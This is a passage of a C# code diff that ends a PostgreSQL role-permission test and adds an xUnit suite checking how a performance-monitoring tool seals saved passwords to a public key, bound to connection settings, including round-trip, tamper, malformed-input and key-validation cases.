+            Assert.Equal("pending", await ScalarAsync(owner, "SELECT state FROM config.legacy_secret_pin_marker", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "REVOKE SET ON PARAMETER session_replication_role FROM viewer; DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+
+    /// <summary>
+    /// The statement fails with the owner-only state. The one exception: an UPDATE or DELETE on a pin table, where row security
+    /// (on, with no policy) leaves a non-owner no row to change, so the statement succeeds and changes nothing; the callers
+    /// check the rows afterwards.
+    /// </summary>
+    private static async Task AssertOwnerOnlyRefusalAsync(NpgsqlConnection connection, string statement, CancellationToken ct)
+    {
+        var state = await SqlStateOfAsync(connection, statement, ct);
+        var seesNoRows = statement.StartsWith("UPDATE config.legacy_secret_pin", StringComparison.Ordinal)
+                         || statement.StartsWith("DELETE FROM config.legacy_secret_pin", StringComparison.Ordinal);
+        if (seesNoRows && state is null)
+        {
+            return;
+        }
+
+        Assert.Equal(PasswordKeyTables.OwnerOnlySqlState, state);
+    }
+
+    private static async Task SeedRowsAsync(NpgsqlConnection owner, CancellationToken ct)
+    {
+        await ExecAsync(owner, "INSERT INTO config.password_key (key_id, public_key, algorithm, state) VALUES ('afb6cecb558a0858', decode(repeat('01', 400), 'hex'), 'RSA3072-OAEP-SHA256/A256GCM', 'current')", ct);
+        await ExecAsync(owner, "INSERT INTO config.password_key_service (service_host, key_id, state, updated_at) VALUES ('example-01', 'afb6cecb558a0858', 'ok', now() AT TIME ZONE 'UTC')", ct);
+        await ExecAsync(owner, "INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256) VALUES (1, 'server', '\\x01'::bytea, '\\x02'::bytea)", ct);
+        await ExecAsync(owner, "INSERT INTO config.legacy_secret_pin_candidate (server_id, slot, value_sha256) VALUES (1, 'server', '\\x01'::bytea)", ct);
+    }
+
+    private static async Task<NpgsqlConnection> OpenAsAsync(ScratchPostgres scratch, string role, string password, CancellationToken ct)
+    {
+        var builder = new NpgsqlConnectionStringBuilder(scratch.ConnectionString)
+        {
+            Username = role,
+            Password = password,
+            SearchPath = "collect,config,public",
+            Pooling = false,
+        };
+        var connection = new NpgsqlConnection(builder.ConnectionString);
+        await connection.OpenAsync(ct);
+        return connection;
+    }
+
+    /// <summary>The SQLSTATE the statement fails with, or null when it succeeds.</summary>
+    private static async Task<string?> SqlStateOfAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        try
+        {
+            await ExecAsync(connection, sql, ct);
+            return null;
+        }
+        catch (PostgresException ex)
+        {
+            return ex.SqlState;
+        }
+    }
+
+    private static string OwnerRoleOf(NpgsqlConnection owner) =>
+        new NpgsqlConnectionStringBuilder(owner.ConnectionString).Username ?? "darling";
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/PasswordSealTests.cs b/Darling/Darling.Tests/PasswordSealTests.cs
new file mode 100644
index 0000000000..972ea3280c
--- /dev/null
+++ b/Darling/Darling.Tests/PasswordSealTests.cs
@@ -0,0 +1,692 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Numerics;
+using System.Runtime.CompilerServices;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the sealed password format (#5366): a value seals to a public key and opens only with the private key, for the
+/// purpose and connection fields it was sealed for. Covers the round trip, every bound field, the four failure kinds
+/// (each with a fixed message and no inner exception), the size classes, the key classes, and a committed known-answer
+/// value so a change to the wire format cannot go unnoticed.
+/// </summary>
+public sealed class PasswordSealTests
+{
+    private const string FakePassword = "p@ss-not-real";
+
+    private static readonly PasswordPrivateKey KeyA = PasswordPrivateKey.Generate();
+    private static readonly PasswordPrivateKey KeyB = PasswordPrivateKey.Generate();
+
+    private static ServerConnectionIdentity Server() =>
+        new("example-sql-01", 1433, "sqlserver", "example_db", false, "sql", "example_login", "Mandatory", false, false);
+
+    private static PasswordBinding ServerBinding() => PasswordBinding.ForServer(Server());
+
+    private static byte[] Payload(string sealedText) =>
+        Convert.FromBase64String(sealedText[(PasswordSeal.V1Prefix.Length + 17)..]);
+
+    private static string WithPayload(string sealedText, byte[] payload) =>
+        sealedText[..(PasswordSeal.V1Prefix.Length + 17)] + Convert.ToBase64String(payload);
+
+    private static PasswordSealException Fails(Func<string> open)
+    {
+        var ex = Assert.Throws<PasswordSealException>(open);
+        Assert.Null(ex.InnerException);
+        return ex;
+    }
+
+    [Fact]
+    public void A_sealed_password_opens_with_the_same_binding_and_each_seal_differs()
+    {
+        var first = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var second = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        Assert.StartsWith(PasswordSeal.V1Prefix + KeyA.PublicKey.KeyId + ":", first, StringComparison.Ordinal);
+        Assert.NotEqual(first, second);
+        Assert.DoesNotContain(FakePassword, first, StringComparison.Ordinal);
+        Assert.Equal(FakePassword, PasswordSeal.Open(first, KeyA, ServerBinding()));
+        Assert.Equal(FakePassword, PasswordSeal.Open(second, KeyA, ServerBinding()));
+    }
+
+    [Theory]
+    [InlineData("")]
+    [InlineData("x")]
+    [InlineData("pässwörd-日本語-🙂")]
+    public void Odd_passwords_round_trip(string password)
+    {
+        var text = PasswordSeal.Seal(password, KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(password, PasswordSeal.Open(text, KeyA, ServerBinding()));
+    }
+
+    [Fact]
+    public void The_longest_password_round_trips_and_one_more_byte_is_refused()
+    {
+        var longest = new string('a', PasswordSeal.MaxPlaintextBytes);
+        var text = PasswordSeal.Seal(longest, KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(longest, PasswordSeal.Open(text, KeyA, ServerBinding()));
+
+        var tooLong = new string('a', PasswordSeal.MaxPlaintextBytes + 1);
+        var ex = Assert.Throws<PasswordSealException>(() => PasswordSeal.Seal(tooLong, KeyA.PublicKey, ServerBinding()));
+        Assert.Equal(PasswordSealFailure.Malformed, ex.Kind);
+        Assert.Null(ex.InnerException);
+    }
+
+    public static IEnumerable<object[]> ServerFieldChanges()
+    {
+        var s = Server();
+        yield return new object[] { "host", s with { Host = "example-sql-02" } };
+        yield return new object[] { "port", s with { Port = 1434 } };
+        yield return new object[] { "database", s with { Database = "other_db" } };
+        yield return new object[] { "database to none", s with { Database = null } };
+        yield return new object[] { "read_only_intent", s with { ReadOnlyIntent = true } };
+        yield return new object[] { "auth", s with { Auth = "serviceprincipal" } };
+        yield return new object[] { "username", s with { Username = "other_login" } };
+        yield return new object[] { "encrypt_mode", s with { EncryptMode = "Optional" } };
+        yield return new object[] { "trust", s with { TrustServerCertificate = true } };
+        yield return new object[] { "multi_subnet", s with { MultiSubnetFailover = true } };
+        yield return new object[] { "engine", s with { Engine = "postgres" } };
+    }
+
+    [Theory]
+    [MemberData(nameof(ServerFieldChanges))]
+    public void A_server_password_does_not_open_when_any_bound_field_changes(string field, ServerConnectionIdentity changed)
+    {
+        _ = field;
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        var ex = Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForServer(changed)));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, ex.Kind);
+    }
+
+    public static IEnumerable<object[]> RemediationFieldChanges()
+    {
+        var s = Server();
+        yield return new object[] { "host", s with { Host = "example-sql-02" }, "example_fix" };
+        yield return new object[] { "database", s with { Database = "other_db" }, "example_fix" };
+        yield return new object[] { "encrypt_mode", s with { EncryptMode = "Optional" }, "example_fix" };
+        yield return new object[] { "trust", s with { TrustServerCertificate = true }, "example_fix" };
+        yield return new object[] { "multi_subnet", s with { MultiSubnetFailover = true }, "example_fix" };
+        yield return new object[] { "remediation_username", s, "other_fix" };
+        yield return new object[] { "engine", s with { Engine = "postgres" }, "example_fix" };
+    }
+
+    [Theory]
+    [MemberData(nameof(RemediationFieldChanges))]
+    public void A_remediation_password_does_not_open_when_any_bound_field_changes(
+        string field, ServerConnectionIdentity changed, string remediationUsername)
+    {
+        _ = field;
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, PasswordBinding.ForRemediation(Server(), "example_fix"));
+
+        Assert.Equal(
+            FakePassword,
+            PasswordSeal.Open(text, KeyA, PasswordBinding.ForRemediation(Server(), "example_fix")));
+        var ex = Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForRemediation(changed, remediationUsername)));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, ex.Kind);
+    }
+
+    public static IEnumerable<object[]> SmtpFieldChanges()
+    {
+        yield return new object[] { "host", "omega-02", 587, true, "example_mail_user" };
+        yield return new object[] { "port", "omega-01", 25, true, "example_mail_user" };
+        yield return new object[] { "ssl", "omega-01", 587, false, "example_mail_user" };
+        yield return new object[] { "username", "omega-01", 587, true, "other_mail_user" };
+    }
+
+    [Theory]
+    [MemberData(nameof(SmtpFieldChanges))]
+    public void A_mail_password_does_not_open_when_any_bound_field_changes(
+        string field, string host, int port, bool ssl, string username)
+    {
+        _ = field;
+        var text = PasswordSeal.Seal(
+            FakePassword, KeyA.PublicKey, PasswordBinding.ForSmtp("omega-01", 587, true, "example_mail_user"));
+
+        Assert.Equal(
+            FakePassword,
+            PasswordSeal.Open(text, KeyA, PasswordBinding.ForSmtp("omega-01", 587, true, "example_mail_user")));
+        var ex = Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForSmtp(host, port, ssl, username)));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, ex.Kind);
+    }
+
+    [Fact]
+    public void A_password_sealed_for_one_purpose_does_not_open_for_another()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(
+            PasswordSealFailure.BindingOrTamper,
+            Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForRemediation(Server(), "example_login"))).Kind);
+        Assert.Equal(
+            PasswordSealFailure.BindingOrTamper,
+            Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForSmtp("example-sql-01", 1433, false, "example_login"))).Kind);
+    }
+
+    [Fact]
+    public void Case_only_changes_to_the_lowercased_fields_still_open_and_host_case_does_not()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var recased = Server() with { Auth = "SQL", EncryptMode = "MANDATORY", Engine = "SqlServer" };
+
+        Assert.Equal(FakePassword, PasswordSeal.Open(text, KeyA, PasswordBinding.ForServer(recased)));
+        Assert.Equal(
+            PasswordSealFailure.BindingOrTamper,
+            Fails(() => PasswordSeal.Open(text, KeyA, PasswordBinding.ForServer(Server() with { Host = "EXAMPLE-SQL-01" }))).Kind);
+    }
+
+    [Fact]
+    public void A_swapped_key_id_is_an_unknown_key_and_so_is_another_key()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var swapped = text.Replace(KeyA.PublicKey.KeyId, KeyB.PublicKey.KeyId, StringComparison.Ordinal);
+
+        var viaSwap = Fails(() => PasswordSeal.Open(swapped, KeyA, ServerBinding()));
+        var viaOtherKey = Fails(() => PasswordSeal.Open(text, KeyB, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.UnknownKey, viaSwap.Kind);
+        Assert.Equal(KeyB.PublicKey.KeyId, viaSwap.KeyId);
+        Assert.Equal(PasswordSealFailure.UnknownKey, viaOtherKey.Kind);
+        Assert.Equal(KeyA.PublicKey.KeyId, viaOtherKey.KeyId);
+    }
+
+    [Theory]
+    [InlineData("sealed:v2:0123456789abcdef:AAAA")]
+    [InlineData("sealed:v10:x")]
+    [InlineData("sealed:")]
+    [InlineData("sealed:v1")]
+    public void A_version_other_than_one_is_a_newer_version(string text)
+    {
+        var ex = Fails(() => PasswordSeal.Open(text, KeyA, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.NewerVersion, ex.Kind);
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("not-sealed")]
+    [InlineData("Sealed:v1:0123456789abcdef:AAAA")]
+    [InlineData("sealed:v1:")]
+    [InlineData("sealed:v1:0123456789abcdef")]
+    [InlineData("sealed:v1:0123456789ABCDEF:AAAA")]
+    [InlineData("sealed:v1:0123456789abcde:AAAA")]
+    [InlineData("sealed:v1:0123456789abcdef:")]
+    [InlineData("sealed:v1:0123456789abcdef:not base64 !!")]
+    [InlineData("sealed:v1:0123456789abcdef:AAAA")]
+    public void Text_that_is_not_a_sealed_value_is_malformed(string? text)
+    {
+        var ex = Fails(() => PasswordSeal.Open(text!, KeyA, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.Malformed, ex.Kind);
+    }
+
+    [Fact]
+    public void A_payload_of_the_wrong_size_is_malformed()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var payload = Payload(text);
+        var id = KeyA.PublicKey.KeyId;
+
+        foreach (var bad in new[]
+                 {
+                     payload[..443],
+                     payload[..(payload.Length - 1)],
+                     payload.Concat(new byte[1]).ToArray(),
+                     new byte[8700],
+                 })
+        {
+            var ex = Fails(() => PasswordSeal.Open(WithPayload(text, bad), KeyA, ServerBinding()));
+            Assert.Equal(PasswordSealFailure.Malformed, ex.Kind);
+        }
+
+        Assert.Equal(PasswordSealFailure.Malformed, Fails(() => PasswordSeal.Open(text + " ", KeyA, ServerBinding())).Kind);
+        Assert.Equal(PasswordSealFailure.Malformed, Fails(() => PasswordSeal.Open(text.Replace(id + ":", id + ":\n", StringComparison.Ordinal), KeyA, ServerBinding())).Kind);
+    }
+
+    [Theory]
+    [InlineData(10, "the wrapped key")]
+    [InlineData(384 + 12 + 3, "the tag")]
+    [InlineData(384 + 2, "the nonce")]
+    [InlineData(444 - 1, "the ciphertext")]
+    public void A_flipped_byte_is_a_binding_or_tamper_failure_with_a_fixed_message(int index, string part)
+    {
+        _ = part;
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var payload = Payload(text);
+        payload[index] ^= 0x01;
+
+        var ex = Fails(() => PasswordSeal.Open(WithPayload(text, payload), KeyA, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, ex.Kind);
+        Assert.Equal("The saved password does not open for this server's connection settings.", ex.Message);
+        Assert.DoesNotContain(FakePassword, ex.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void A_wrapped_key_that_does_not_decrypt_gives_the_same_failure_as_a_bad_tag()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+        var flippedWrap = Payload(text);
+        flippedWrap[0] ^= 0xFF;
+        var flippedTag = Payload(text);
+        flippedTag[400] ^= 0xFF;
+
+        var a = Fails(() => PasswordSeal.Open(WithPayload(text, flippedWrap), KeyA, ServerBinding()));
+        var b = Fails(() => PasswordSeal.Open(WithPayload(text, flippedTag), KeyA, ServerBinding()));
+
+        Assert.Equal(a.Kind, b.Kind);
+        Assert.Equal(a.Message, b.Message);
+    }
+
+    [Fact]
+    public void Every_failure_kind_has_its_own_fixed_message_that_names_no_provider_text()
+    {
+        var kinds = Enum.GetValues<PasswordSealFailure>();
+        var messages = kinds.Select(k => new PasswordSealException(k).Message).ToArray();
+
+        Assert.Equal(kinds.Length, messages.Distinct().Count());
+        Assert.All(messages, m => Assert.EndsWith(".", m, StringComparison.Ordinal));
+        Assert.All(kinds, k => Assert.Null(new PasswordSealException(k, "0123456789abcdef").InnerException));
+    }
+
+    [Theory]
+    [InlineData(1, 444)]
+    [InlineData(28, 444)]
+    [InlineData(29, 476)]
+    [InlineData(31, 476)]
+    [InlineData(32, 476)]
+    [InlineData(33, 476)]
+    [InlineData(60, 476)]
+    [InlineData(61, 508)]
+    public void Passwords_of_nearby_lengths_seal_to_the_same_size_class(int length, int expectedPayloadBytes)
+    {
+        var text = PasswordSeal.Seal(new string('x', length), KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(expectedPayloadBytes, Payload(text).Length);
+    }
+
+    [Fact]
+    public void The_committed_known_answer_value_opens()
+    {
+        using var doc = JsonDocument.Parse(File.ReadAllText(VectorPath()));
+        var root = doc.RootElement;
+        var b = root.GetProperty("binding");
+        var binding = PasswordBinding.ForServer(new ServerConnectionIdentity(
+            b.GetProperty("host").GetString()!, b.GetProperty("port").GetInt32(), b.GetProperty("engine").GetString()!,
+            b.GetProperty("database").GetString(), b.GetProperty("readOnlyIntent").GetBoolean(),
+            b.GetProperty("auth").GetString()!, b.GetProperty("username").GetString(),
+            b.GetProperty("encryptMode").GetString()!, b.GetProperty("trustServerCertificate").GetBoolean(),
+            b.GetProperty("multiSubnetFailover").GetBoolean()));
+        using var key = PasswordPrivateKey.FromPkcs8(Convert.FromBase64String(root.GetProperty("privateKeyPkcs8").GetString()!));
+
+        Assert.Equal(PasswordSeal.Algorithm, root.GetProperty("algorithm").GetString());
+        Assert.StartsWith("test-only key", root.GetProperty("note").GetString(), StringComparison.Ordinal);
+        Assert.Equal(root.GetProperty("keyId").GetString(), key.PublicKey.KeyId);
+        Assert.Equal(
+            Convert.FromBase64String(root.GetProperty("publicKeySpki").GetString()!), key.PublicKey.Spki);
+        Assert.Equal(
+            root.GetProperty("plaintext").GetString(),
+            PasswordSeal.Open(root.GetProperty("sealed").GetString()!, key, binding));
+    }
+
+    [Fact]
+    public void A_sealed_value_is_not_a_reference_and_not_base64()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        Assert.True(PasswordSeal.IsSealed(text));
+        Assert.True(PasswordSeal.IsSealed("sealed:v2:anything"));
+        Assert.False(PasswordSeal.IsSealed(null));
+        Assert.False(PasswordSeal.IsSealed(""));
+        Assert.False(PasswordSeal.IsSealed("Sealed:v1:x"));
+        Assert.False(DarlingSecretSource.IsReference(text));
+        Assert.False(DarlingSecretSource.IsReference("sealed:v2:anything"));
+        Assert.False(PasswordSeal.IsSealed("env:SOME_NAME"));
+        Assert.False(PasswordSeal.IsSealed("file:/some/path"));
+        Assert.DoesNotContain(':', Convert.ToBase64String(new byte[] { 1, 2, 3, 250, 251, 252, 253 }));
+        Assert.False(TryBase64(text));
+        Assert.False(TryBase64(PasswordSeal.RoutingPrefix));
+    }
+
+    private static bool TryBase64(string text) => Convert.TryFromBase64String(text, new byte[text.Length], out _);
+
+    [Fact]
+    public void Key_ids_are_sixteen_lowercase_hex_characters_of_the_spki_hash()
+    {
+        var spki = KeyA.PublicKey.Spki;
+        var expected = Convert.ToHexString(SHA256.HashData(spki))[..16].ToLowerInvariant();
+
+        Assert.Equal(expected, PasswordSeal.KeyIdFor(spki));
+        Assert.Equal(expected, KeyA.PublicKey.KeyId);
+        Assert.Equal(SHA256.HashData(spki), KeyA.PublicKey.Fingerprint);
+        Assert.NotEqual(KeyA.PublicKey.KeyId, KeyB.PublicKey.KeyId);
+        Assert.Equal("ab12-cd34-ef56-7890".ToUpperInvariant(), PasswordSeal.DisplayKeyId("ab12cd34ef567890"));
+        Assert.Equal("not a key id", PasswordSeal.DisplayKeyId("not a key id"));
+    }
+
+    [Fact]
+    public void The_key_id_of_a_value_is_read_for_version_one_only()
+    {
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(KeyA.PublicKey.KeyId, PasswordSeal.KeyIdOf(text));
+        Assert.Null(PasswordSeal.KeyIdOf("sealed:v2:" + KeyA.PublicKey.KeyId + ":AAAA"));
+        Assert.Null(PasswordSeal.KeyIdOf("sealed:v1:short:AAAA"));
+        Assert.Null(PasswordSeal.KeyIdOf("env:SOME_NAME"));
+    }
+
+    [Fact]
+    public void Keys_round_trip_through_their_encodings_and_only_three_thousand_seventy_two_bit_rsa_is_accepted()
+    {
+        var der = KeyA.ExportPkcs8();
+        using var again = PasswordPrivateKey.FromPkcs8(der);
+        CryptographicOperations.ZeroMemory(der);
+        var text = PasswordSeal.Seal(FakePassword, KeyA.PublicKey, ServerBinding());
+
+        Assert.Equal(KeyA.PublicKey.KeyId, again.PublicKey.KeyId);
+        Assert.Equal(FakePassword, PasswordSeal.Open(text, again, ServerBinding()));
+        Assert.Equal(PasswordSealFailure.Malformed, Assert.Throws<PasswordSealException>(() => PasswordPublicKey.FromSpki(new byte[] { 1, 2, 3 })).Kind);
+        Assert.Equal(PasswordSealFailure.Malformed, Assert.Throws<PasswordSealException>(() => PasswordPrivateKey.FromPkcs8(new byte[] { 1, 2, 3 })).Kind);
+
+        using var small = RSA.Create(2048);
+        Assert.Equal(
+            PasswordSealFailure.Malformed,
+            Assert.Throws<PasswordSealException>(() => PasswordPublicKey.FromSpki(small.ExportSubjectPublicKeyInfo())).Kind);
+        Assert.Equal(
+            PasswordSealFailure.Malformed,
+            Assert.Throws<PasswordSealException>(() => PasswordPrivateKey.FromPkcs8(small.ExportPkcs8PrivateKey())).Kind);
+    }
+
+    [Fact]
+    public void A_public_key_hands_out_copies_of_its_bytes()
+    {
+        var copy = KeyA.PublicKey.Spki;
+        copy[0] ^= 0xFF;
+
+        Assert.NotEqual(copy[0], KeyA.PublicKey.Spki[0]);
+        Assert.Equal(KeyA.PublicKey.KeyId, PasswordPublicKey.FromSpki(KeyA.PublicKey.Spki).KeyId);
+    }
+
+    [Fact]
+    public void A_public_key_hands_out_a_copy_of_its_fingerprint()
+    {
+        var copy = KeyA.PublicKey.Fingerprint;
+        var before = (byte[])copy.Clone();
+        copy[0] ^= 0xFF;
+
+        Assert.Equal(before, KeyA.PublicKey.Fingerprint);
+        Assert.NotSame(KeyA.PublicKey.Fingerprint, KeyA.PublicKey.Fingerprint);
+    }
+
+    [Fact]
+    public void A_disposed_private_key_gives_an_unknown_key_failure_with_no_inner_exception()
+    {
+        var key = PasswordPrivateKey.Generate();
+        var text = PasswordSeal.Seal(FakePassword, key.PublicKey, ServerBinding());
+        key.Dispose();
+        key.Dispose();
+
+        var ex = Fails(() => PasswordSeal.Open(text, key, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.UnknownKey, ex.Kind);
+    }
+
+    [Fact]
+    public void A_password_that_is_not_valid_text_is_refused_and_two_bad_passwords_never_seal_the_same()
+    {
+        var ex = Assert.Throws<PasswordSealException>(() => PasswordSeal.Seal("ab\uD800", KeyA.PublicKey, ServerBinding()));
+
+        Assert.Equal(PasswordSealFailure.Malformed, ex.Kind);
+        Assert.Null(ex.InnerException);
+        Assert.Equal("The password contains text that cannot be stored.", ex.Message);
+        Assert.Equal(
+            PasswordSealFailure.Malformed,
+            Assert.Throws<PasswordSealException>(() => PasswordSeal.Seal("ab\uDFFF", KeyA.PublicKey, ServerBinding())).Kind);
+    }
+
+    [Fact]
+    public void A_binding_field_that_is_not_valid_text_is_refused_without_echoing_it()
+    {
+        var bad = new ServerConnectionIdentity("example-sql-\uD800", 1433, "sqlserver", "example_db", false, "sql", "example_login", "Mandatory", false, false);
+        var binding = PasswordBinding.ForServer(bad);
+
+        var ex = Assert.Throws<ArgumentException>(() => binding.EncodeAad("0123456789abcdef"));
+        var pin = Assert.Throws<ArgumentException>(() => binding.LegacyPinHash());
+        var seal = Assert.Throws<ArgumentException>(() => PasswordSeal.Seal(FakePassword, KeyA.PublicKey, binding));
+
+        foreach (var e in new[] { ex, pin, seal })
+        {
+            Assert.Null(e.InnerException);
+            Assert.DoesNotContain("example-sql", e.Message, StringComparison.Ordinal);
+            Assert.DoesNotContain("D800", e.Message, StringComparison.OrdinalIgnoreCase);
+        }
+    }
+
+    // A value with a good GCM tag but wrong content inside: built with the test key's public half, so only the inner
+    // checks can reject it.
+    private static string Crafted(byte[] aesKey, byte[] padded)
+    {
+        var binding = ServerBinding();
+        var keyId = KeyA.PublicKey.KeyId;
+        var payload = new byte[384 + 12 + 16 + padded.Length];
+        RandomNumberGenerator.Fill(payload.AsSpan(384, 12));
+        using (var rsa = RSA.Create())
+        {
+            rsa.ImportSubjectPublicKeyInfo(KeyA.PublicKey.Spki, out _);
+            rsa.Encrypt(aesKey, RSAEncryptionPadding.OaepSHA256).CopyTo(payload, 0);
+        }
+
+        using (var aes = new AesGcm(aesKey, 16))
+        {
+            aes.Encrypt(payload.AsSpan(384, 12), padded, payload.AsSpan(412), payload.AsSpan(396, 16), binding.EncodeAad(keyId));
+        }
+
+        return PasswordSeal.V1Prefix + keyId + ":" + Convert.ToBase64String(payload);
+    }
+
+    private static byte[] Padded(int declaredLength, byte[] content)
+    {
+        var padded = new byte[32];
+        System.Buffers.Binary.BinaryPrimitives.WriteInt32BigEndian(padded, declaredLength);
+        content.CopyTo(padded, 4);
+        return padded;
+    }
+
+    private static byte[] NewAesKey(int bytes)
+    {
+        var key = new byte[bytes];
+        RandomNumberGenerator.Fill(key);
+        return key;
+    }
+
+    [Fact]
+    public void The_crafting_helper_builds_a_value_that_opens_so_the_failures_below_come_from_the_inner_checks()
+    {
+        var text = Crafted(NewAesKey(32), Padded(3, "abc"u8.ToArray()));
+
+        Assert.Equal("abc", PasswordSeal.Open(text, KeyA, ServerBinding()));
+    }
+
+    [Fact]
+    public void A_value_with_a_good_tag_and_a_length_larger_than_the_content_is_a_binding_or_tamper_failure()
+    {
+        var text = Crafted(NewAesKey(32), Padded(40, "abc"u8.ToArray()));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, Fails(() => PasswordSeal.Open(text, KeyA, ServerBinding())).Kind);
+    }
+
+    [Fact]
+    public void A_value_with_a_good_tag_and_non_zero_padding_is_a_binding_or_tamper_failure()
+    {
+        var padded = Padded(3, "abc"u8.ToArray());
+        padded[20] = 1;
+        var text = Crafted(NewAesKey(32), padded);
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, Fails(() => PasswordSeal.Open(text, KeyA, ServerBinding())).Kind);
+    }
+
+    [Fact]
+    public void A_value_with_a_good_tag_and_content_that_is_not_valid_utf8_is_a_binding_or_tamper_failure()
+    {
+        var text = Crafted(NewAesKey(32), Padded(2, new byte[] { 0xC3, 0x28 }));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, Fails(() => PasswordSeal.Open(text, KeyA, ServerBinding())).Kind);
+    }
+
+    [Theory]
+    [InlineData(16)]
+    [InlineData(24)]
+    public void A_value_with_a_good_tag_and_a_wrapped_key_that_is_not_thirty_two_bytes_is_a_binding_or_tamper_failure(int keyBytes)
+    {
+        var text = Crafted(NewAesKey(keyBytes), Padded(3, "abc"u8.ToArray()));
+
+        Assert.Equal(PasswordSealFailure.BindingOrTamper, Fails(() => PasswordSeal.Open(text, KeyA, ServerBinding())).Kind);
+    }
+
+    [Fact]
+    public void Keys_whose_public_exponent_is_not_65537_are_refused_on_both_imports()
+    {
+        var (publicOnly, full) = KeyWithExponentThree();
+
+        Assert.Equal(PasswordSealFailure.Malformed, Assert.Throws<PasswordSealException>(() => PasswordPublicKey.FromSpki(publicOnly)).Kind);
+        Assert.Equal(PasswordSealFailure.Malformed, Assert.Throws<PasswordSealException>(() => PasswordPrivateKey.FromPkcs8(full)).Kind);
+    }
+
+    // A 3072-bit key with e = 3: .NET will not make one, so two primes are found here (test data only).
+    private static (byte[] Spki, byte[] Pkcs8) KeyWithExponentThree()
+    {
+        var e = new BigInteger(3);
+        BigInteger p, q;
+        do
+        {
+            p = TestPrime(1536);
+        }
+        while (BigInteger.GreatestCommonDivisor(p - 1, e) != 1);
+        do
+        {
+            q = TestPrime(1536);
+        }
+        while (q == p || BigInteger.GreatestCommonDivisor(q - 1, e) != 1);
+
+        var d = ModInverse(e, (p - 1) * (q - 1));
+        var n = p * q;
+        static byte[] Be(BigInteger v, int len)
+        {
+            var raw = v.ToByteArray(isUnsigned: true, isBigEndian: true);
+            var padded = new byte[len];
+            raw.CopyTo(padded, len - raw.Length);
+            return padded;
+        }
+
+        var parameters = new RSAParameters
+        {
+            Modulus = Be(n, 384),
+            Exponent = new byte[] { 3 },
+            D = Be(d, 384),
+            P = Be(p, 192),
+            Q = Be(q, 192),
+            DP = Be(d % (p - 1), 192),
+            DQ = Be(d % (q - 1), 192),
+            InverseQ = Be(ModInverse(q, p), 192),
+        };
+        using var rsa = RSA.Create();
+        rsa.ImportParameters(parameters);
+        return (rsa.ExportSubjectPublicKeyInfo(), rsa.ExportPkcs8PrivateKey());
+    }
+
+    private static BigInteger ModInverse(BigInteger a, BigInteger m)
+    {
+        BigInteger oldR = m, r = a % m, t0 = 0, t1 = 1;
+        while (r != 0)
+        {
+            var quotient = oldR / r;
+            (oldR, r) = (r, oldR - quotient * r);
+            (t0, t1) = (t1, t0 - quotient * t1);
+        }
+
+        return ((t0 % m) + m) % m;
+    }
+
+    private static BigInteger TestPrime(int bits)
+    {
+        var bytes = new byte[bits / 8];
